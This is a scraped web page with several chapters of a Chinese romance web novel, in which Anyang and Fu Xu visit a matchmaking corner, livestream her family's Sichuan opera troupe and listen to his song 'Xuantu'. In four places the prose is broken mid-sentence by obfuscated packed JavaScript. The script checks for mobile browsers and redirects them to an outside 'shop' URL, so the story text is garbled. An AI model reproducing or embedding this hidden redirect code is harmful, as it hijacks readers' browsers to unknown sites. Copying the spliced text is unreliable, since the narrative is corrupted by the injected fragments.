磨磨蹭蹭许久,傅栩才坐上后座。 “是我的错觉吗?我怎么觉得,每次你坐我的车都很不乐意?”她的声音瓮在头盔里,闷闷的。 当然不是错觉。 “没有。”傅栩昧着良心否认,不想扫她的兴,“只是......” “我知道了。”没有等到他说完,安漾猛地转过头,“你是不觉得坐后座很尴尬?” 她之前刚买摩托车的时候,加了一个骑友群。 群里常有人闲聊,有人说过不好意思坐在女生的后座,觉得难为情。 她转头的动作太快,傅栩来不及躲闪,两个头盔嘭的一声撞在一起。 好在头盔的质量过关,两个人都没有伤着,只隔着两片护目镜片对视了良久。 傅栩被这突如其来的撞击一惊,眼中有一闪而过的愕然。 他抬手正了正被撞歪的头盔,“其实也还好。” 这是实话。 虽然坐在后座是费劲了点,但是他在景城不比明京,没有别的交通工具。 安漾愿意任劳任怨地送他,他就没有挑三拣四的理由。 面对他的否认,安漾依然热情邀请:“你要不要坐前面?” 傅栩遵纪守法:“我没有摩托车驾照。” “我可以在后面骑。”安漾连说带比划,“如果你觉得坐女生的后座尴尬,就到前面来,咱俩挤一挤,我说不定可以搂着你骑。” 被搂着骑不是更尴尬吗? 傅栩把这话咽下去,今晚第二次觉得自己无法理解安漾的脑回路。 第一次是她说他求婚失败的时候。 “不用,坐后座挺好的。” 安漾一笑,刚要夸他不拘小节,听见他接着说道:“挡风。” “你还是下去跟着车跑吧。” 省剧院到人民公园只有十分钟左右的车程,安漾把车停在公园外,目标明确,摘了头盔就领着他往里面走。 公园的管理处已经下班了,她在门口张望了一会儿,然后走到不远处的铁架旁边。 她的目光在上面扫过一圈,“你选一个吧,我帮你安排。” 铁架的挂绳上贴着五花八门的信息表,她随手翻来一张,“这个怎么样?” “大厂高管,海归硕士,心理承受能力强,能扛压。完全就是为你这张嘴量身定做的。” 她简单浏览了一遍信息表,最后看向傅栩,征求他的意见。 傅栩感觉自己的太阳穴正凸凸地跳:“你就是这么帮我兜底的?” “这比你让我买刮刮乐靠谱多了吧?”安漾不服,又看了看手上的信息表,“这个真挺好,适合你。” “......”傅栩眼神复杂,“这人是男的。” 她一滞,这才注意看到性别栏,把这张表放回去,讪笑道:“抱歉哈,光注意他承受能力强了,我再帮你挑挑。” “别挑了。”他叹气。 “小伙子,找对象哇?”一旁的阿姨听见两人的对话,操着一口椒盐普通话笑眯眯地过来了。 “诶对!”安漾赶紧切成四川话,“嬢嬢*,你有没有合适的人选,介绍给他。他口才好体力也好,吃苦耐劳又长得好看。” 傅栩勉强能听得懂四川话,被她夸得有点不知所措,眼中透着几分意外。 他没想到自己在安漾心里的形象这么好。 安漾似乎会意,朝他点点头,示意他相信自己。 她的想法很简单: 口才好,能说服任姿; 体力好,能给华悦唱片打水泥;吃苦耐劳,愿意帮她一起解决闻景的事; 长得好看,这点显而易见。 “可以可以。”闻言,阿姨来了兴趣,转而看向傅栩,“小伙子做什么工作的?” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14110810|149765||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“他搞工程的。”安漾抢答。 阿姨满意点头,“做工程好啊,以后买了房......” “暂时没钱买房,平时都在睡桥洞。”傅栩沉吟片刻,“阿姨以后买房可以找我打水泥,这个我专业。” 阿姨的笑容凝固在脸上,刚想开口让他留个联系方式,又被他的一席话堵回去,上下打量了他一遍,扭头就走,只留下两个人相顾无言。 安漾白了他一眼,“你想干嘛,不是让我帮你兜底吗?” “是需要你兜底,但不是现在。” 夜里,公园里亮着彩色的灯串,傅栩眼底的光明明灭灭,他走近安漾面前,揉揉她的发顶,“我暂时没有情感问题。” “你别装了。”安漾从他的手下逃脱,一边徒手梳好自己被拨乱的头发,一边咬牙切齿道。 “我跟宁知遥说话的时候,你在旁边跟被毒哑了似的。”她冷笑,“要不是难过得话都说不出来了,你能这么安静?” “我只是不想打扰你们。” 天地良心,他真的只是怕打扰安漾才没说话的。 他带安漾来看演出的本意就是想让她和宁知遥聊聊。 傅栩垂下眼睛,似笑非笑地看着她,“而且安漾,我没有和她求婚。” 安漾听得一愣一愣的,“那是求婚未遂?” 傅栩不轻不重地敲了一下她的脑门,“她是我朋友的前女友。” 他顿了一下,纠正:“前未婚妻。” “宁知遥恰好在景城演出,托我把戒指还给他。” “那你怎么憔悴成这样,不是为情所困?”她很难相信傅栩的回答。 “加班。” 安漾真诚发问:“熬夜打水泥?” “差不多吧。”傅栩在自己说过的话上栽了跟头,一时间不知所言。 安漾过了好久才缓过神来。 合着他根本就没求婚,求婚被拒的是他朋友? 她今晚白忙活了一场。 “那就不用我兜底了。”她清了清嗓子,强装镇定:“走吧,回去了。” 安漾扔下话,闷头就往公园门口走。 傅栩沉默地跟在她的身后。 两个人一前一后走过临湖的茶楼,暖黄色的灯光洒落在脸上,拉长她的影子。 他盯着地上撕扯变形的影子,兀地开口:“安漾,帮帮我。” 她听见声音,在一米之外的地方停住了脚步,等他继续说下去。 即使没有剧院舞台那样考究的灯光,眼前的女孩却比任何时候都耀眼夺目。 “你得帮我兜底。” 他启唇,声音里染上不自知的柔情:“我有一个喜欢很多年的人。” “所以?”她歪着头,“要我帮你想办法吗?” 他没有说话,算是默认了。 安漾摇头摆手拒绝三连:“这种推人下火坑的事我不干,容易被雷劈。” 傅栩:...... “所以是哪个倒霉蛋?”虽然嘴上拒绝,但她的好奇心成功被勾起来了。 他的目光落在她的脸上,散漫扬眉,“你。” 安漾像是被踩了尾巴,连连拒绝:“呸呸呸,别咒我。” 她转身就要走,末了又退回来,暗自思忖了片刻,对他道:“我们明天再到这里来一趟。” “为什么?” “等明天公园管理处上班了,我去给你填张信息表贴在相亲角。”她诚挚建议: “比起帮你追什么不知名的倒霉蛋,还是这种见不到人不需要说话的方式更适合你。” 8. 第八章 “比起帮我在相亲角贴简历,还是好好操心剧团的事比较适合你。”傅栩的回击毫不留情。 安漾哽住,狠狠瞪了他一眼,“你别学我说话!” 她转身就走,气鼓鼓的样子像只炸毛的小猫,步子都比平时要快了许多,像是打算把他一个人扔在这儿。 他轻笑,连带着熬夜过后的疲惫都轻了几分,不紧不慢地跟在她身后,保持着一段距离。 “妹妹,大晚上注意安全。”安漾刚走到车旁,保安突然神秘兮兮地上前,抬手飞快地指了一下她的身后,“我看那个人跟你一路了。” 她不明所以地回头,被指认的人正不解地看着她和保安,还不知道自己已经被误会成了跟踪狂。 她明白保安是一片好意,脸上的微笑尴尬又不失礼貌,跟人解释: “没事,他是我哥,脑子一直不太好使,最近刚有点好转,在学着独立行走。” 保安又看了一眼傅栩,声音里的遗憾都快溢出来了:“看着挺聪明一个人......” 看着挺聪明的傅栩此时已经走到了两人面前,非常自觉地戴好了头盔上车。 但这一连串流畅的动作在保安眼里已经变了味,他惊讶地看向安漾,“恢复得还挺好,辛苦你了。” 安漾低头忍笑。 “你们说什么了?”傅栩在她身后问。 “说我居然要帮你这种人解决情感问题,真是辛苦了。” 他不屑地哼了一声,两人一路无话,行车至熟悉的街区。 附近只余几家烧烤铺还零星地亮着灯,晚风夹杂着辣椒粉和孜然的味道,从街道的尽头飘过来,穿透头盔,香得人犯迷糊。 安漾停车,侧头望过去。 道路尽头的烧烤铺门庭若市,牛肉排骨五花肉被刷上一层金黄色的油,放在烤架上滋滋作响。香气在高温的炙烤下炸开,随着风四散。 她摘下头盔,长长地吸了一口气。 “傅栩。”安漾用胳膊肘戳戳身后的人,“你饿不饿?” 傅栩顺着她的目光望去,看见烧烤店门口升起缕缕白烟,当即对她的用意了然于心。 “这家店的排骨巨好吃,你不去吃一次等于没来过景城。” 他将目光收回,落在面前的女孩身上。 他很难忽略安漾已经眼冒绿光的事实,无情拆穿道:“其实是你自己想吃吧。” “你不是难得回趟景城吗,我怕你留下什么遗憾。”她朝傅栩眨眨眼睛,细密卷翘的睫毛扑闪如羽毛扇。 傅栩皱眉,总觉得这话听起来像是他快死了,安漾在帮他实现什么未竟的心愿。 安漾才没想这么多,她双手合十,满眼期待地又问一遍:“怎么样?” 柔软的声音落到他耳朵里倒像是撒娇了,他无奈地看看她,选择让步,“走吧。” 安漾嗜辣,但又得靠着嗓子吃饭,每个月能放肆吃辣的次数屈指可数。 为了不浪费来之不易的放纵餐,她对景城各大火锅店烧烤铺的环境和口味了如指掌,这家店就是她吃过很多次的严选。 牛肉郡肝五花肉,藕片豆皮小馒头,安漾一串一串地往盘子里装。 傅栩扫一眼冷柜里的菜品,随手拿了一串玉米粒,“你们这儿的玉米都这样吃?” 十几颗小小的玉米粒被单独掰下来,逐颗串在细长的竹签上,一眼看上去格外寒酸。 价格倒是异常豪横,直逼旁边冷柜里的肉串。 烧烤刺客名不虚传。 安漾听见他的话回头,从他的手里接过这串玉米粒,放进盘子里,“地方特色。” 店里的人多,他们找了个角落的位置坐下。 傅栩一落座就来了电话,安漾见状没有打扰他,打开直播软件打算取取经。 她搜索了几个戏曲类的直播间,挨个点进去看。 竖屏能展示的内容非常有限,演员几乎都是一个人怼着镜头开演,演到中途还要抽空欢迎一下新进直播间的观众。 她不自觉地蹙眉,划到下一个直播间。 但这类直播间都大同小异,传统剧目搭配最原始的直播方式,再冠以惨淡的人气。 安漾撑着下巴,有些犯难。她好像已经看到了闻景开始直播后的样子。 电话那头的人还在跟傅栩说着什么,他靠在椅背上听得漫不经心,偶尔应一两句,要对方等他回去再解决。 她抬眸瞄了一眼傅栩,又泄气地把头低下了。 “在看什么?”等傅栩挂掉电话,正好看见她对着手机愁眉苦脸。 “你最近好像很忙。”她没有回答,漫无目的地划拉着手机。 今天是他们时隔多日第一次见面,而他这几天一直忙着工作,沧桑得能去熊猫基地玩cosplay。 其实安漾隐约能猜到傅栩的工作并不清闲,搞不好哪天突然就得回明京,那她就真的连个一起想办法的人都没有了。 “是有点。”傅栩没打算瞒她,但看她五官都皱起来了,还是宽慰道:“还在可控范围内,可以远程处理,不用担心。” 安漾的眉头终于舒展开了一点,把手机转了个方向,回答他刚才的问题,“我在看直播。” 手机上,主播正在卖力地唱一段高腔,他的目光只停留了片刻,很快下了判断,“这样不行。” “这种直播没有记忆点,很难被注意到。”他望向安漾,“你有没有考虑过自己建一个账号?” 安漾自身的形象条件就很好,哪怕是单走颜值赛道,稍加运营也能闯出点成绩,再有专业能力加持,打造个人IP再合适不过。 但她刚听完就拒绝了,“不行,不要,不可以。” 她抗拒得厉害,傅栩也只好把这个想法先搁置了,“闻景呢,现在有社交账号吗?” “有。”安漾点开关注列表,“这个。” 账号的头像是闻景剧团的牌匾,只有一百多的粉丝量,点赞数也是寥寥。 还好,起码有粉丝。这个情况已经比傅栩预想的要乐观很多了。 安漾犹豫着开口:“这些粉丝是我买的。” 乐观不了一点。 她注意到傅栩的表情,连忙解释:“这个账号一直是我妈在运营,我当时还在上学,担心没人关注会打击她的热情,就给她买了点粉丝。” 傅栩划了几个视频,“那这些评论?” 每个视频下都只有稀稀拉拉的几条评论,还是来自相同的几个账号。 他问出这话时心里已经隐隐有了答案。 “我的小号。” 果然。 刚烤好的烤串上桌,横在两人中间。安漾经常来这里,已经和老板熟识了,简单寒暄了几 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14110811|149765||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 句。 隔着氤氲的热气,傅栩问她:“你为什么不愿意单独做账号?” 安漾等老板离开,挑了一串牛肉,小口吃完才说:“我不知道发的东西会不会被别人喜欢。” “说是害怕可能更合适,害怕不被喜欢。”她思忖片刻,缓缓开口: “十来岁的时候吧,学校组织研学。恰好班里马上要选文艺委员了,我为了拉票,在大巴上给大家唱了一段《芙蓉花仙》。” “大家不爱听?” 她转头望向窗外,“不是。” 十几岁的年纪,比起川剧这种传统戏曲,班上的同学当然还是更中意听流行音乐。因而在她表演时,大家没有给予任何反馈。 这都在安漾的预料之中,所以面对各自低头做事的同学,她并没有很失落。 但在她唱到“天空水阔任游翔”的时候,突然听见了“呕”的一声。 带队老师慌忙冲上前,递了个呕吐袋给前座的同学。 安漾不知所措地站在一旁,悻悻地收声,听见邻座的人窃窃私语:“怎么还给人唱恶心了。” 那之后的很长一段时间里,她都不敢在别人面前单独表演。伴奏一响,她就觉得身边有人在干呕。 后来她去剧团,和任姿讲起了这件事。 一旁刚下台的江奶奶听见了,很温柔地告诉她没关系,带她回到台上,重新演了那段《芙蓉花仙》。 剧场的观众本来就是冲着听戏来的,反响自然要比同学热烈,她这才勉强解开了这个心结。 但是要做账号就不一样了。 她会面对更多对川剧不感兴趣甚至不喜欢的人,谁也说不准会不会有下一个人在她面前呕吐。 尽管那天呕吐的同学仅仅只是单纯的晕车而已。 她只是害怕其中的不确定性。 安漾的语气毫无波澜,平静得像是在讲别人的故事。 傅栩在心里对上了时间。 那是他十八岁,第一次见到安漾的时候。 她的五官没有发生太大的改变,褪去了十几岁时的婴儿肥,变得比过去更加精致漂亮。 她还是那个在台上唱“天空水阔任游翔”的安漾。 而傅栩花了几年时间,从闻景剧场的最后一排来到她的面前。 傅栩张张嘴,想安慰她却不知道从何说起。 谁也没有再讲话,店外的烤串声钻进室内,挤占漫长的沉默。 安漾看直播看得心烦,干脆把手机倒扣在桌上,吃东西的胃口也没了。 “安漾。” 她抬头,看见傅栩正直直地看着自己。 “你去做就好了,做成什么样都没关系,剩下的全部由我来解决。” “我可以向你保证,你可以实现那个约定,一直留在闻景。” 唱《芙蓉花仙》也好,《人间好》也罢,只要安漾愿意,他会让她永远留在闻景那个小舞台上。 这么一想,收购闻景这事也不完全是个玩笑。 但这只是最次的选择。比起这个,他更想看到安漾亲自让这个摇摇欲坠的剧团风生水起。 安漾失神了一刹,随即笑了:“我妈是不是把她看的霸总文分享给你了?” “什么霸总文?” “没什么。”她摇摇头,很郑重地对他说:“傅栩,谢谢你。” 9. 第九章 尽管傅栩已经给她喂了颗定心丸,但安漾还是没有勇气跨过这道坎。 她是在那晚回家时才做了决定。 “我想先直播日常演出试试水。”其实她自己也知道,用这种办法很难从众多直播间里脱颖而出,因而说这话时没有半点底气,声音小得几乎要被风吹散。 她心里藏着事,走路慢吞吞的,傅栩配合着她的步调,挡在风吹来的方向。 安漾觉得自己挺没出息的。 归根到底,闻景其实是她自己的事。傅栩好心要帮她,给她想了办法,可她却受困于一些可笑的心理阴影,迟迟无法付诸行动。 “好。”傅栩看着身边垂头丧气的女孩。 他的耐心很好,有的是时间陪安漾一点一点成长,变成独当一面的角色。 但他越是包容,安漾就越是愧疚。 她觉得自己不能这样下去了,决定做出一点突破,“如果这样直播没有起色,我就照你说的那样,自己直播试试。” 话一说完,她又泄气了,伸手指指自己,“你知道吗,要是我妈看见我这个样子,肯定会说我没眼火*。” 怕他听不懂,安漾马上解释:“就是没出息。” “你不是没出息。”傅栩否认了她的说法。 安漾得到了莫大的安慰,看傅栩的眼神一时间充满感激,却听见他接着说:“你只是怂包。” 她沉默地盯着傅栩看了一会儿,“你快闭嘴吧,这也好不到哪里去。” 闻景的首次直播安排在几天后的傍晚。 这是安漾和任姿共同商量后定下的时间:晚上直播平台的流量正好,剧团的观众也少,不会影响到线下的观看体验。 安漾提前购入了直播设备,在最后一排架好手机,给傅栩发信息。 小羊:【准备好了。】 F:【看看。】 她蹙眉,迟疑了片刻,最后切到前置镜头比了个剪刀手。 发送。 剧场里的网络不好,照片转了好几个圈才成功发出,与之一起出现在聊天框的,还有一条傅栩发来的新消息。 F:【看看设备。】 她的大脑宕机了一秒,用平生最快的手速撤回那张照片,重新拍给他。 F:【我看见了。】 安漾死不承认:【你看错了。】 那边没有继续回复,她把手机装进外套口袋,去后台帮任姿整理戏服。 演出时间将近了,本就不多的观众正分散坐在前几排。 任姿从帘幕的空隙里望出去,观众席上都是她熟悉的面孔。 她收回视线,看着眼前的安漾,突然想起什么:“小傅来不来?” “嗯。”安漾想起那张自拍,又把头埋低了几分,专心帮任姿整理衣服上的流苏,“他最近很忙,可能要晚点才过来。” “小傅这人还挺稳重的。”任姿把话题引向自己最关心的:“你跟他也算熟悉了,打听过没,他有没有女朋友?” 安漾装聋作哑,帮她把腰带系好。 “问你话呢。”任姿“啧”了一声,对自家女儿的沉默非常不满。 “没有女朋友。”她妥协般抬头,“估计也很难有了。” 就傅栩那张嘴,要有女朋友得从上辈子就开始烧香拜佛。 “不应该啊,他条件这么好。”任姿觉得奇怪。 她以前就经常从副团长江奶奶哪里听说傅栩,这次又因为安漾的事有了交集,对他的印象非常好。 “欸,你觉得他怎么样?”任姿问得直截了当。 安漾终于打理好这套戏服,回头扫过墙上的挂钟,转移话题的手段拙劣至极:“快开演了,我先去观众席。” 任姿知道她在装傻,想想也就随她去了,“算了,他在明京你在景城,你俩就算真的走到一起了,以后还得异地。” 安漾听得直皱眉,她妈想得还怪远的。 这场围绕她和傅栩展开,但只有任姿一个人参与的对话,最终以“还是留在本地好”收尾,安漾催促着她赶紧上台。 锣声响起,演出正式开始。 今晚的演出剧目是《玉簪记》,由任姿和刘叔出演。尽管没有安漾的戏份,但她依旧为这场直播紧张。 她看着台上两人的背影,独自做了个深呼吸平复心情,准备去观众席看看直播效果。 一个转身,她看见倚在门口的傅栩。 见他来了,安漾揪紧的心稍微放松了点,走近了问:“你什么时候来的?” 他身上还带着室外的寒气,“在任阿姨说‘还是留在本地好’的时候。” 她一愣,在心里祈祷傅栩没有听见任姿之前的话。 “所以是什么在本地好?” 安漾没回答,只是默默地打量着他,半晌才开口:“你又加班了?” 尽管他的行为举止一切如常,但安漾还是敏锐地捕捉到了他眉目间难以掩藏的疲态。 傅栩默认。 她从他身边过去,“我妈说,要是你哪天加班猝死了,那还是埋在本地好。” 安漾坐在最后一排,傅栩紧跟着坐下,还把她留在后台的水杯带来了。 台上的两位演员演到中途,她忍不住用余光瞄着身边的人,想要开口说话,又想起还在直播。 担心说话的声音被收录进去,安漾只好给他发微信: 【如果你很累的话,以后可以不来。】 她就傅栩这一个同伙,别真的猝死了。 傅栩收到信息,扭头凝视她许久,回复:【用完就扔?】 安漾正喝水,看见这条信息险些被呛到,转头诧异地看着他。 少顷,屏幕上弹出两条新消息。 F:【我只是最近睡眠不太好。】 F:【你帮我想想办法?】 - 演出在一小时后结束,安漾收拾好设备,和傅栩一起回家。 这场直播的观看人数不到一千,收到了总计两块钱的打赏。 安漾早有心理准备,但当着惨淡的数据出现在眼前,她还是不免失落。 “看路。”傅栩抬手挡在她面前。 她抬眼,看见从面前扎堆跑过的小孩。要不是傅栩拦着,她差点就要和他们撞上。 回过神来,安漾对着直播数据自顾自感慨了一句“万事开头难”,把手机揣回衣兜里。 傅栩见她一路都盯着手机,本想出言安慰,谁知道她已经把自己哄好了。 这个广场是从闻景回家的必经之地,安漾平时来去都骑车,很少有机会往广场里面走。 她和傅栩走在临河的小道上,喧嚣被周边的植物隔绝,过滤到耳朵里有些不真切。 太安静了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14110812|149765||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 安漾受不了这气氛:“你什么时候回明京?” 傅栩停在原地,“你还真的用完就扔?” 好像是错觉,安漾竟然从他的语气里听出几分委屈。 “我是觉得你在景城不方便。”安漾觉得好笑,“再说,什么叫‘用’?不知道的还以为你在给我打黑工。” 此话一出,轮到她愣在当场了。 因为她突然意识到,傅栩这些日子为她做了太多,好像和打黑工也没有什么区别。 断断续续的歌声从远处传来,安漾轻咳两声掩饰心虚,加快了步伐,朝前方聚集的人群走去。 人群中央是一个背着吉他的青年,正弹拨琴弦,唱一首民谣。 安漾本就是为了逃避傅栩才来凑热闹的,懒得跟前面的人挤,只站在最外圈,兴致缺缺地听着这略显青涩的歌声。 “你喜欢这种?”傅栩跟上来,浅浅地望了一眼唱歌的人。 这人看起来比安漾还要小,和听众交谈时,脸上挂着腼腆的笑。 吉他也弹得生疏,唱功更不必多做评价。 小孩。 安漾只当他问的是这首歌,“还凑合。” 傅栩面色稍霁。 一曲唱罢,到了点歌的环节,围观的听众高举着手,七嘴八舌地报歌名。 她来了兴趣,也跟着抬手报名。 安漾生得漂亮,哪怕是扎在人堆里,也能被年轻的歌手一眼看到,“想听什么?” 他刚问完,平白感觉到一束阴鸷的视线,女孩身边的男人正面无表情地看着他。 “《玄兔》可以吗?”安漾全然没注意到傅栩周身散发的敌意。 歌手被盯得头皮发麻,但不知道是不是自己的错觉,在女孩报出歌名后,男人的目光随即柔和了许多。 但他依旧汗流浃背,“抱歉,这首我不会。” 男人的嘴角扯起轻蔑的弧度,他极力无视,问:“换一首怎么样?” “那还是算了吧。”安漾的语气有些失望,把点歌的机会让给了旁边的听众,在下一首歌开始前离开了。 但和她相反,傅栩现在的心情倒很好:“你很喜欢《玄兔》?” 安漾点头,“艺考那段时间我经常失眠,无意间听到了这首歌,后来每次睡不着就会用它助眠。” 想到傅栩说自己睡眠不好,安漾建议:“你要不要听听?” “我需要的不是这首歌。”风带得树叶沙沙作响,傅栩的声音融化在风里,“我需要玄兔。” 安漾不解:“但这首歌不就叫《玄兔》吗?” 他望着漆黑寂寥的夜空,没有再说下去。 写下《玄兔》的那个晚上,天空中同样没有月亮。 那时的傅栩斟酌着字句,写下“玄兔远隔云层,愿得一刻安眠”。 他该庆幸的是,隔着层层叠叠的云雾与山海,安漾确实在他的歌里得到了安眠。 而那晚未曾见到的月亮这一刻就在他的身边。 离开广场,沿着栽满梧桐的街道一直往前走,树的枝叶把暖黄色的灯光截断。 傅栩转头问她:“你还想听《玄兔》吗?” “现在?” “不是现在。”他低沉的声线像是一把钩子,挂着名为《玄兔》的诱饵,引她落入早就设好的陷阱: “是今晚,去我家。” 10.第十章 傅栩的声音很轻,他在观察安漾的表情。 他在明京的录音棚里有个音响技师,二十岁出头,为人内向又社恐,和女孩子打交道的办法全靠网络教学。 音响技师做过最离谱的事就是在邀请女生去家里做客时,信了网上的邪,说“我家的猫会后空翻”。 傅栩把这当玩笑,但事情落在他头上来,他才发现“去我家听我唱歌”这种话,和“我家的猫会后空翻”一样傻。 但他就是想和她单独待会儿。 前些日子在明京,他大多数时间都从工作台边醒来。被晨光刺痛双眼时,他会想起安漾。 那时候的安漾是他从十八岁记忆里拓展延伸出的想象。 回景城之前,他正在为一张专辑忙得焦头烂额,得知外婆住院的消息,带着毫无进展的工作上飞机。 他想过会再遇到安漾,但没想到这么快。 他的想象力是匮乏的,傅栩想,安漾本身远胜过他的想象。 “去吗?”他问第二遍。 她听过傅栩的话,打开手机看时间,还早。于是莞尔,鬼使神差道:“好呀。” 安漾去过江奶奶家。 两家本就住得近,偶尔任姿要演出,老安忙着工作,她会去蹭饭。 但是现在,她跟在傅栩身后突然有些踌躇。 她走在小区的路上,明明平时熟悉到闭眼都不会走丢,现在却感到莫名的不安。 她刚才脑子一热就答应过来了,走到楼下才意识到,和平时去江奶奶家做客不同,她现在是要去一个异性的家里。 但后悔也来不及了。 单元门在身后重重合上,安漾被这突兀的异响惊得一颤栗,头顶的声控灯也随之亮起。 傅栩走在前面,循着声音回头,看见她僵在原地,愣愣的眼神像是误入狼窝的羔羊。 他牵唇,“吓到了?” 吓什么?是刚才的声音还是马上要去他家这件事,安漾不太明白他的意思。 但她还是点头,不管是哪一件事,都可以点头。 他笑笑,按下电梯的上行键。 一楼大厅里寂静无声,灯光不久便熄灭了,只有电梯门口的红色数字在跳跃。 没事,上去坐坐而已,又不是没来过。安漾在黑暗里宽慰自己。 傅栩垂眸,黑暗里只能看清她的轮廓,直到电梯门打开,里面的灯光洒出来。 她半截身子落在光里,想进去却看到傅栩还站在原地,偏了头去问他:“不走吗?” 他回过神,和她进电梯。 “我记得阿姨也回来了,也住这里吗?”安漾突然想起这茬。 “对。” 她听了这话,面上轻松了些,多个人在就少分尴尬。虽然她不认识傅妈妈,但总好过和傅栩独处一室。 - 门锁打开,家里也一片漆黑,傅栩伸手摁亮玄关的小灯,让她进来。 “......阿姨呢?”安漾咽了咽口水,有点紧张。 “我妈今晚陪床,不在。” 傅妈妈楚仪刚出门不久,空调的余温还没散去,家里尚且暖和。 傅栩重新开了空调,脱下大衣挂在落地衣架上,又伸手示意安漾。 她犹豫刹那,把外套递给他。 挂好了衣服,他带安漾去二楼。 傅栩不常回来住,卧室里只有些必要的家具,收拾得干净整洁。 空旷整齐得像样板间,落地窗外是城市星星点点的灯火,安漾草草在房间里扫了一眼,唯一有生活气息的地方是窗边的工作台。 她慢慢走近,桌上摆着电脑和五花八门的设备。 “坐。”傅栩还站在门口,指着桌边的椅子,又问:“想喝什么?” “水就好。” 傅栩点头,下楼去了。 房间里有独属他身上的味道,安漾的紧张被逐渐驱散,好奇地打量起周围。 电脑旁立着一个相框,上面的人穿着学士服,神色淡漠地面对着镜头。 “在看什么?”他拿来水,拧开放在她面前。 “原来这是你。”安漾一只手拿过相框,举到他旁边。 是他毕业时拍的照片,外婆不常能见到他,所以特地冲印出来放在家里。 安漾来蹭饭的时候无意间看到过,但没留下太深的印象。 她到这时才明白,为什么那晚在医院见到傅栩时会觉得面熟。 傅栩靠在桌沿,听见她的话后撇唇,从她手中抽出相框,扣在桌面上,语气有点别扭:“别看了。” “为什么?” 对上安漾疑惑的眼神,他解释:“这张照片是通宵过后被拉去拍的,很丑。” 安漾被他逗笑,指指桌上的东西,问他:“这是什么?” “声卡。” “这个呢?” “MIDI键盘。”他随手打开电脑,又一次性给她介绍完其他的设备。 虽然傅栩没直接挑明了他的工作,但安漾看见这些,也猜到了七七八八。 她捡起扔在桌上的眼药水,在他面前晃悠了一下,恍然大悟般:“所以你每天就在这里加班?” 傅栩耸肩承认,一只手撑在桌面,整个人调转个方向面对工作台,另一只手落在鼠标上。 安漾被圈在他和工作台之间,他的声音沙哑,像是烟花引线被点燃时的丝丝细响,悬在她的头顶,“给你听听。” 下一秒,引线烧完,烟花在安漾的脑海中炸开,她的大脑一片空白,耳尖也被烟火灼得滚烫发红。 她默默把耳后的头发放下来,盖住那片可疑的红。 傅栩双击鼠标,平和温柔的旋律从音响缓缓流出,像夜晚的海水拍打礁石,让人平静又心安。 但这段旋律很短,安漾还没反应过来就已经结束了。 她仰起头,嘴角的梨涡漾起,眼里含着期待,“还有吗?” “没写完。” 傅栩垂下眼睛,视线交错间,她的笑容凝在脸上,触电般低头,把目光移向电脑屏幕。 没了音乐,房间里显得有些冷清,但随之被放大的是身后傅栩的呼吸声。 她感觉到脸热,用冰凉的掌心贴在脸上,强装镇定,“什么时候可以听到完整版?” 傅栩察觉到她的小动作,笑了,“过两天。” “但这个还没有发布,是不是应该暂时保密?提前给我听没关系吗?” 他站直,又继续靠在桌边。 刚才还铺天盖地的薄荷气息被新鲜空气稀释,安漾别过头假装看风景,手还贴在双颊。 她在等自己脸上的温度降下去。 “没关系。”傅栩说,“这是写给你的。” 这下好了,安漾脸上的温度彻底降不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14129568|149765||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 下去了。 她咕嘟咕嘟灌了几口水,没有说话。 良久,安漾听见脚步声,傅栩去角落取来吉他,“还听吗?《玄兔》。” 她如梦初醒,这才想起自己来这里的目的。 “听。”早听早回家。 第一次听到这首歌的时候,安漾特地搜索过歌名的含义:“玄兔,月也。月中有兔象,故以名焉。” 她讨厌文言文,但这句话记得很清楚。 吉他版本的《玄兔》和原版有着很大的不同。 原版采用了蒸汽波的处理方式,梦幻轻柔,像周身缭绕着云雾的月亮,遥远又不真切; 而用吉他演奏听来更具穿透力。 这是出现在傅栩眼前的月亮。 她撑着下巴,眼神在房间里胡乱飞,最后落在窗外,不敢看他。 修长的手指拨动琴弦,傅栩望向她的侧脸,一句一句地唱起。 他选择留在景城是有私心的。 十八岁以前,傅栩的人生一帆风顺。 他从小就显现出了过人的音乐天赋,加之后天的系统学习,年纪轻轻就写下了许多叫好又叫座的歌曲。 